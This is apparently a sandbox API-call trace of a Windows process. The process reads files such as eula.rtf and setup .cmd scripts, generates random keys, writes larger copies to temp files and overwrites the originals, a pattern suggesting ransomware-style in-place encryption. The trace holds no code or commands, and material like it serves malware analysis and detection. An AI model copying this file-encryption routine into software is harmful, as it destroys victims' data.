	[0070.308] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0070.308] GetFileType (hFile=0x178) returned 0x1
	[0070.309] VirtualAlloc (lpAddress=0xc00028a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00028a000
	[0070.309] ReadFile (in: hFile=0x178, lpBuffer=0xc00028a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00028a000*, lpNumberOfBytesRead=0xc000287bd4*=0x233, lpOverlapped=0x0) returned 1
	[0070.310] WriteFile (in: hFile=0x164, lpBuffer=0xc00028a000*, nNumberOfBytesToWrite=0x233, lpNumberOfBytesWritten=0xc000287b74, lpOverlapped=0x0 | out: lpBuffer=0xc00028a000*, lpNumberOfBytesWritten=0xc000287b74*=0x233, lpOverlapped=0x0) returned 1
	[0070.311] ReadFile (in: hFile=0x178, lpBuffer=0xc00028a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00028a000*, lpNumberOfBytesRead=0xc000287bd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.311] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631")) returned 0
	[0070.311] GetProcAddress (hModule=0x7ffce9120000, lpProcName="RemoveDirectoryW") returned 0x7ffce91424c0
	[0070.311] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631")) returned 0
	[0070.311] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetFileAttributesW") returned 0x7ffce9142300
	[0070.311] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631")) returned 0x20
	[0070.311] CloseHandle (hObject=0x178) returned 1
	[0070.311] CloseHandle (hObject=0x164) returned 1
	[0070.312] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631")) returned 1
	[0070.313] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000092a40 | out: pbBuffer=0xc000092a40) returned 1
	[0070.313] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000100c60 | out: pbBuffer=0xc000100c60) returned 1
	[0070.313] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162301 | out: pbBuffer=0xc000162301) returned 1
	[0070.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.313] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283c04 | out: lpMode=0xc000283c04) returned 0
	[0070.313] GetFileType (hFile=0x164) returned 0x1
	[0070.313] WriteFile (in: hFile=0x164, lpBuffer=0xc00017f180*, nNumberOfBytesToWrite=0x341, lpNumberOfBytesWritten=0xc000283bec, lpOverlapped=0x0 | out: lpBuffer=0xc00017f180*, lpNumberOfBytesWritten=0xc000283bec*=0x341, lpOverlapped=0x0) returned 1
	[0070.314] CloseHandle (hObject=0x164) returned 1
	[0070.319] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.320] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0070.320] GetFileType (hFile=0x164) returned 0x1
	[0070.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0070.320] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0070.320] GetFileType (hFile=0x178) returned 0x1
	[0070.320] VirtualAlloc (lpAddress=0xc000292000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000292000
	[0070.321] ReadFile (in: hFile=0x178, lpBuffer=0xc000292000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000292000*, lpNumberOfBytesRead=0xc000283bd4*=0x341, lpOverlapped=0x0) returned 1
	[0070.321] WriteFile (in: hFile=0x164, lpBuffer=0xc000292000*, nNumberOfBytesToWrite=0x341, lpNumberOfBytesWritten=0xc000283b74, lpOverlapped=0x0 | out: lpBuffer=0xc000292000*, lpNumberOfBytesWritten=0xc000283b74*=0x341, lpOverlapped=0x0) returned 1
	[0070.322] ReadFile (in: hFile=0x178, lpBuffer=0xc000292000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000292000*, lpNumberOfBytesRead=0xc000283bd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.322] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f")) returned 0
	[0070.322] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f")) returned 0
	[0070.322] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f")) returned 0x20
	[0070.323] CloseHandle (hObject=0x178) returned 1
	[0070.323] CloseHandle (hObject=0x164) returned 1
	[0070.323] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f")) returned 1
	[0070.324] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0002060e0 | out: pbBuffer=0xc0002060e0) returned 1
	[0070.324] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000100ca0 | out: pbBuffer=0xc000100ca0) returned 1
	[0070.324] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162501 | out: pbBuffer=0xc000162501) returned 1
	[0070.325] VirtualAlloc (lpAddress=0xc00029a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029a000
	[0070.325] VirtualAlloc (lpAddress=0xc00029c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029c000
	[0070.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.326] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0070.326] GetFileType (hFile=0x164) returned 0x1
	[0070.326] WriteFile (in: hFile=0x164, lpBuffer=0xc00029c000*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc00029c000*, lpNumberOfBytesWritten=0xc000231bec*=0x14a, lpOverlapped=0x0) returned 1
	[0070.327] CloseHandle (hObject=0x164) returned 1
	[0070.331] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.332] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0070.332] GetFileType (hFile=0x164) returned 0x1
	[0070.332] VirtualAlloc (lpAddress=0xc00029e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029e000
	[0070.390] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0070.390] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0070.390] GetFileType (hFile=0x178) returned 0x1
	[0070.390] VirtualAlloc (lpAddress=0xc0002a0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a0000
	[0070.391] ReadFile (in: hFile=0x178, lpBuffer=0xc0002a0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002a0000*, lpNumberOfBytesRead=0xc000231bd4*=0x14a, lpOverlapped=0x0) returned 1
	[0070.391] WriteFile (in: hFile=0x164, lpBuffer=0xc0002a0000*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002a0000*, lpNumberOfBytesWritten=0xc000231b74*=0x14a, lpOverlapped=0x0) returned 1
	[0070.392] ReadFile (in: hFile=0x178, lpBuffer=0xc0002a0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002a0000*, lpNumberOfBytesRead=0xc000231bd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.393] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98")) returned 0
	[0070.393] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98")) returned 0
	[0070.393] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98")) returned 0x20
	[0070.393] CloseHandle (hObject=0x178) returned 1
	[0070.393] CloseHandle (hObject=0x164) returned 1
	[0070.394] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98")) returned 1
	[0070.395] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000187d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000187d94, lpOverlapped=0x0) returned 0
	[0070.395] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000187d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000187d94, lpOverlapped=0x0) returned 0
	[0070.395] VirtualAlloc (lpAddress=0xc0002a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a8000
	[0070.396] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0070.396] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000187bf4 | out: lpMode=0xc000187bf4) returned 0
	[0070.396] GetFileType (hFile=0x164) returned 0x1
	[0070.396] GetFileType (hFile=0x164) returned 0x1
	[0070.396] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000187c44 | out: lpFileInformation=0xc000187c44) returned 1
	[0070.396] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000187c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000187c28) returned 1
	[0070.396] VirtualAlloc (lpAddress=0xc0002aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002aa000
	[0070.397] ReadFile (in: hFile=0x164, lpBuffer=0xc0002aa000, nNumberOfBytesToRead=0x1f8f, lpNumberOfBytesRead=0xc000187b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002aa000*, lpNumberOfBytesRead=0xc000187b04*=0x1d8f, lpOverlapped=0x0) returned 1
	[0070.410] ReadFile (in: hFile=0x164, lpBuffer=0xc0002abd8f, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000187b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002abd8f*, lpNumberOfBytesRead=0xc000187b04*=0x0, lpOverlapped=0x0) returned 1
	[0070.410] CloseHandle (hObject=0x164) returned 1
	[0070.411] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0001092c0 | out: pbBuffer=0xc0001092c0) returned 1
	[0070.411] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000100d80 | out: pbBuffer=0xc000100d80) returned 1
	[0070.411] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162701 | out: pbBuffer=0xc000162701) returned 1
	[0070.412] VirtualAlloc (lpAddress=0xc0002ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ac000
	[0070.412] VirtualAlloc (lpAddress=0xc0002ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ae000
	[0070.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.413] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dc04 | out: lpMode=0xc00022dc04) returned 0
	[0070.414] GetFileType (hFile=0x164) returned 0x1
	[0070.414] WriteFile (in: hFile=0x164, lpBuffer=0xc0002ae000*, nNumberOfBytesToWrite=0x1e8f, lpNumberOfBytesWritten=0xc00022dbec, lpOverlapped=0x0 | out: lpBuffer=0xc0002ae000*, lpNumberOfBytesWritten=0xc00022dbec*=0x1e8f, lpOverlapped=0x0) returned 1
	[0070.415] CloseHandle (hObject=0x164) returned 1
	[0070.418] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.420] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0070.420] GetFileType (hFile=0x164) returned 0x1
	[0070.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0070.420] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0070.420] GetFileType (hFile=0x178) returned 0x1
	[0070.420] VirtualAlloc (lpAddress=0xc0002b0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b0000
	[0070.420] ReadFile (in: hFile=0x178, lpBuffer=0xc0002b0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002b0000*, lpNumberOfBytesRead=0xc00022dbd4*=0x1e8f, lpOverlapped=0x0) returned 1
	[0070.421] WriteFile (in: hFile=0x164, lpBuffer=0xc0002b0000*, nNumberOfBytesToWrite=0x1e8f, lpNumberOfBytesWritten=0xc00022db74, lpOverlapped=0x0 | out: lpBuffer=0xc0002b0000*, lpNumberOfBytesWritten=0xc00022db74*=0x1e8f, lpOverlapped=0x0) returned 1
	[0070.422] ReadFile (in: hFile=0x178, lpBuffer=0xc0002b0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002b0000*, lpNumberOfBytesRead=0xc00022dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.422] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085")) returned 0
	[0070.423] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085")) returned 0
	[0070.423] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085")) returned 0x20
	[0070.423] CloseHandle (hObject=0x178) returned 1
	[0070.423] CloseHandle (hObject=0x164) returned 1
	[0070.423] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085")) returned 1
	[0070.425] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.715] SetEvent (hEvent=0x17c) returned 1
	[0070.715] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0070.715] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0070.715] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0070.715] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287bf4 | out: lpMode=0xc000287bf4) returned 0
	[0070.715] GetFileType (hFile=0x164) returned 0x1
	[0070.715] GetFileType (hFile=0x164) returned 0x1
	[0070.715] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000287c44 | out: lpFileInformation=0xc000287c44) returned 1
	[0070.716] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000287c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000287c28) returned 1
	[0070.716] VirtualAlloc (lpAddress=0xc0002b8000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b8000
	[0070.716] ReadFile (in: hFile=0x164, lpBuffer=0xc0002b8000, nNumberOfBytesToRead=0x1aa5, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002b8000*, lpNumberOfBytesRead=0xc000287b04*=0x18a5, lpOverlapped=0x0) returned 1
	[0070.769] ReadFile (in: hFile=0x164, lpBuffer=0xc0002b98a5, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002b98a5*, lpNumberOfBytesRead=0xc000287b04*=0x0, lpOverlapped=0x0) returned 1
	[0070.769] CloseHandle (hObject=0x164) returned 1
	[0070.770] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000109400 | out: pbBuffer=0xc000109400) returned 1
	[0070.770] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000100e60 | out: pbBuffer=0xc000100e60) returned 1
	[0070.770] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162901 | out: pbBuffer=0xc000162901) returned 1
	[0070.770] VirtualAlloc (lpAddress=0xc0002c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c4000
	[0070.771] VirtualAlloc (lpAddress=0xc0002c6000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c6000
	[0070.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.773] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287c04 | out: lpMode=0xc000287c04) returned 0
	[0070.773] GetFileType (hFile=0x164) returned 0x1
	[0070.773] WriteFile (in: hFile=0x164, lpBuffer=0xc0002c6000*, nNumberOfBytesToWrite=0x19a5, lpNumberOfBytesWritten=0xc000287bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002c6000*, lpNumberOfBytesWritten=0xc000287bec*=0x19a5, lpOverlapped=0x0) returned 1
	[0070.774] CloseHandle (hObject=0x164) returned 1
	[0070.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.782] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0070.782] GetFileType (hFile=0x164) returned 0x1
	[0070.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0070.782] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0070.782] GetFileType (hFile=0x178) returned 0x1
	[0070.782] VirtualAlloc (lpAddress=0xc0002d0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002d0000
	[0070.783] ReadFile (in: hFile=0x178, lpBuffer=0xc0002d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002d0000*, lpNumberOfBytesRead=0xc000287bd4*=0x19a5, lpOverlapped=0x0) returned 1
	[0070.783] WriteFile (in: hFile=0x164, lpBuffer=0xc0002d0000*, nNumberOfBytesToWrite=0x19a5, lpNumberOfBytesWritten=0xc000287b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002d0000*, lpNumberOfBytesWritten=0xc000287b74*=0x19a5, lpOverlapped=0x0) returned 1
	[0070.784] ReadFile (in: hFile=0x178, lpBuffer=0xc0002d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002d0000*, lpNumberOfBytesRead=0xc000287bd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.784] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c")) returned 0
	[0070.784] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c")) returned 0
	[0070.785] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c")) returned 0x20
	[0070.785] CloseHandle (hObject=0x178) returned 1
	[0070.785] CloseHandle (hObject=0x164) returned 1
	[0070.785] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c")) returned 1
	[0070.787] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.796] SetEvent (hEvent=0x188) returned 1
	[0070.796] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0070.796] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0070.796] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0070.796] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000283bf4 | out: lpMode=0xc000283bf4) returned 0
	[0070.796] GetFileType (hFile=0x164) returned 0x1
	[0070.796] GetFileType (hFile=0x164) returned 0x1
	[0070.796] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000283c44 | out: lpFileInformation=0xc000283c44) returned 1
	[0070.797] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000283c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000283c28) returned 1
